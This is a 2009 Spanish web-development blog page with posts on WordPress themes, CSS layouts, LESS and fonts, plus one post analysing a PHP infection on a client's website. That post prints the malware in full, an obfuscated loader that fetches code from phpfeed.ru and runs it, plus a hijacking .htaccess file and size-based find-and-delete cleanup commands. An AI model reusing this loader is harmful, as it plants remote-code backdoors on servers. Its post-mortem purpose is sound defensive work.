11
Ago/09
0

Cómo crear temas para WordPress?

wordpress templatesDe un tiempo a esta parte WordPress se ha convertido en una de las plataformas de blogs y CMS más populares. Una de las principales razones de este éxito, es su sistema de plantillas/temas (templates/themes). De hecho, en Internet, se pueden encontrar miles de temas WordPress gratuitos, sin embargo, si deseas un tema verdaderamente único, tendrás que crear el tuyo propio, ya sea pagando o programándolo.

Este artículo te dará un conocimiento básico de la estructura de temas en WordPress.

Lo básico

Los temas WordPress estan compuestos por un conjunto de archivos (html, estilos, imágenes) que definen la apariencia de tu blog. Se compone de archivos de plantilla, funciones, imágenes y tags. Para instalar un tema de WordPress, sólo tienes que subirlo a tu servidor y activarlo en el panel de administración del mismo.

Estructura de las páginas

estructura de páginas wordpress

Por lo general, una página WordPress está compuesta por un encabezado, una barra lateral, el contenido y el pie de página. Habitualmente, los elementos de esta estructura están separados en archivos independientes los cuales podrás incluir en tus plantillas. Pueden existir más elementos en este estructura, como podrían ser otras barras laterales, espacios destinados a publicidad o cualquier otra cosa que te puedas imaginar.

Archivos de plantilla

jerarquia de archivos wordpress

En esta imagen se puede apreciar la jerarquía de archivos dependiendo de la página que se esté visualizando. Podrías utilizar únicamente la página “index.php” con su correspondiente hoja de estilos (css), pero estarías perdiendo el potencial de personalización y de lograr un tema más amigable.

Loops

<?php if(have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>

En WordPress, los loops (iteraciones) se logran con un conjunto de funciones utilizadas para visualizar los posts y cualquier cosa relacionada con éstos (título, etiquetas, autor, categorías). Para utilizar esta funcionalidad, WordPress provee información bien documentada como podrán encontrar aquí y aquí. Para un uso más avanzado, como por ejemplo loops anidados en la página principal, lo mejor es buscar en internet (aquí les dejo una búsqueda).

Template Tags

<?php get_header() : ?>

Los Template tags son pequeños fragmentos de código PHP que se utilizan para desplegar información en el sitio web.

Por ejemplo “<?php bloginfo(’url’) ?>” mostrará la url de su sitio, en este caso “http://www.gastonmarrero.com“. WordPress cuenta con una muy buena documentación al respecto que podrán encontrar aquí. Cuando se incorporan plugins a la instalación de WordPress, éstos podrá añadir template tags particulares.

Functions

El archivo “functions.php” no despliega ninguna información particular en la pantalla, sino que simplemente agrupa todas las funciones utilizadas por el tema. Aquí y aquí pueden encontrar algunos ejemplos de uso.

 En una entrada posterior me extenderé en el uso de cada uno de estos componentes.

Artículo original (en inglés)
http://designreviver.com/uncategorized/wordpress-theming-for-beginners-an-introduction/

7
Ago/09
0

Layouts logrados 100% con CSS

layouts 100% cssQuienes peinamos canas en la programación web, recordaremos que la estructura de las páginas web se armaba en base a tablas html (TABLE/TR/TD). Era, y para mi sigue siendo, la única forma de lograr exactamente la estructura que queremos.

Ahora bien, de un tiempo a esta parte, se ha desalentado el uso de esta técnica y reemplazado por el empleo de elementos DIV más el complemento de CSS. Una vez que le agarrás la mano, resulta muy sencillo de implementar y, lo mejor de todo es que, te da la flexibilidad de cambiar todo el diseño con tan solo tocar el CSS.

Lo que les quiero presentar hoy, es un sitio web en el cual podremos encontrar una gran cantidad de layouts predefinidos (varias columnas, varias filas, distintos anchos, etc.), los cuales podremos usar en nuestros desarrollos.

Layouts 100% css div

Por más información: http://layouts.ironmyers.com/

4
Ago/09
2

Tu sitio web está seguro?

virusHace unos días me consultaron sobre unos archivos extraños que aparecieron en un sitio web. Al investigar la situación, me di cuenta que dicho sitio había sido intervenido por un virus y casi todas las carpetas habían sido afectadas.

Paso a explicar.

Cuando un directorios público queda (mal) configurado con permisos de escritura (rwx 666), es pasible de ser invadido con archivos de cualquier naturaleza, imágenes, videos, en particular scripts PHP. Con scripts Perl (.pl) este problema no ocurre ya que requieren permisos especiales de ejecución, sin embargo con PHP esto es diferente.

Los archivos que se publican tienen extensión PHP y su nombre es un número aleatorio (tal como pueden ver en la imagen).

listado de archivos

El contenido de dichos archivos es siempre el mismo y su código es:

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z=”/?”.base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”.base64_encode($g).”.”.base64_encode($h).”.e.”.base64_encode($i).”.”.base64_encode($j);$f=base64_decode(”cGhwZmVlZC5ydQ==”);if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])==”bfb4fd4b1e62dd38924d48daba76f31f”) $f=$_REQUEST["id"];if((include(base64_decode(”aHR0cDovL2Fkcy4=”).$f.$z)));else if($c=file_get_contents(base64_decode(”aHR0cDovLzcu”).$f.$z))eval($c);else{$cu=curl_init(base64_decode(”aHR0cDovLzcxLg==”).$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>

Parseando, decodificando y analizando éste código, se puede identificar que cuando es ejecutado se invoca a otro sitio web (phpfeed.ru), obtiene un código PHP y lo ejecuta.

Hasta el momento no he podido obtener dicho código, pero si tenemos en cuenta los subdominios que invoca (ads.phpfeed.ru, 71.phpfeed.ru o 7.phpfeed.ru) y el propósito del sitio phpfeed.ru aseguraría que se trata de un servidor de publicidad.

sitio phpfeed.ru

Vale la pena destacar, que junto a cada uno de estos archivos, se encontrará también un “.htaccess”, cuyo contenido es el siguiente:

Options -MultiViews
ErrorDocument 404 //templates/ja_jamba/167953php

Ahora bien, si analizamos el conjunto de archivos, podemos identificar que cada vez que se realiza una petición inválida a cualquiera de los directorios, en lugar de mostrarse la página 404 configurada para el sitio web, se ejecutará el archivo PHP y a continuación se presentará una página con publicidad (esto último es un supuesto).

Cómo resolvemos este problema?

Antes que nada, cambiarle la seguridad a todos los directorios a “644″ lo que significa que todos pueden leer y solo el dueño del sitio puede escribir.

Luego, identificar los directorios que tienen este problema, para lo que les recomiendo publicar el siguiente script en la raiz de su web y ejecutarlo:

<?php print `find . -name “*.php” -size 1469c` ?>

<?php print `find . -name “.htaccess” -size 85c` ?>

Este script listará todos los archivos PHP y .htaccess que cumplan con la condición de tamaño. Cuidado con la .htaccess que podría retornar algún archivo válido. En el otro caso dudo que justo tenga el mismo tamaño.

Por último, eliminar los archivos infectados! Copiar y ejecutar el siguiente código en la raíz del web:

<?php print `find . -name “*.php” -size 1469c -exec rm -f {} \` ?>
<?php print `find . -name “.htaccess” -size 85c -exec rm -f {} \` ?>

Ahh, algo más…

Me llamó la atención la poca información que hay al respecto, y la que hay está en ruso o rumano!

Buscando un poco más, encontré con que se trata de la mutación de un virus. El actual invoca al servidor “phpfeed.ru” mientras que el anterior a “rssnews.ws”.

Acá pueden encontrar algo más de información http://www.google.com/search?q=”rssnews.ws”

30
Jul/09
0

CSS Hell !

less-logo

Quienes desarrollamos/diseñamos sitios web, nos encontramos a diario con lo dificil que resulta organizar de una manera eficiente el contenido de nuestros CSS.

¿Repito el font type en distintos bloques o los agrupo en una única sentencia? ¿Cómo puedo hacer para reutilizar el código? ¿Cómo definimos los colores, con # o RGB?

Si pudieramos dotar al CSS con funcionalidades de lenguajes de programación, seguro la definición de constantes, variables, clases, el uso de sentencias anidadas y operaciones aritméticas tendrían su utilidad.

Bueno, si quieren eso, les recomiendo conocer LESS (http://lesscss.org).

Acá les dejo un ejemplo de su sintaxis.

less-sample

Vale la pena aclarar que LESS no es un estandar de la web, por lo que no puede usarse directamente en nuestros sitios.
Una vez que tenemos generado nuestro archivo.less, debemos transformarlo a formato .css.

La única contra que tiene (por el momento) es que no tiene su versión para Windows.

Tagged as:
28
Jul/09
0

Qué fuente utilizo?

Quien diseña/desarrolla sitios web, con frecuencia se cuestion el tipo de fuente a utilizar en sus trabajos y las alternativas a las clásicas Arial y Verdana.

De pura casualidad di con el siguiente sitio web que me parece extremadamente útil y además es muy simple de usar.
Básicamente, arma un listado con todas las fuentes que tenemos registradas en nuestro PC y nos permite visualizar el texto que querramos con dicho formato, pudiendo cambiar facilmente a otros tipos de fuente.

MyFontBook

Por más información: http://myfontbook.com/app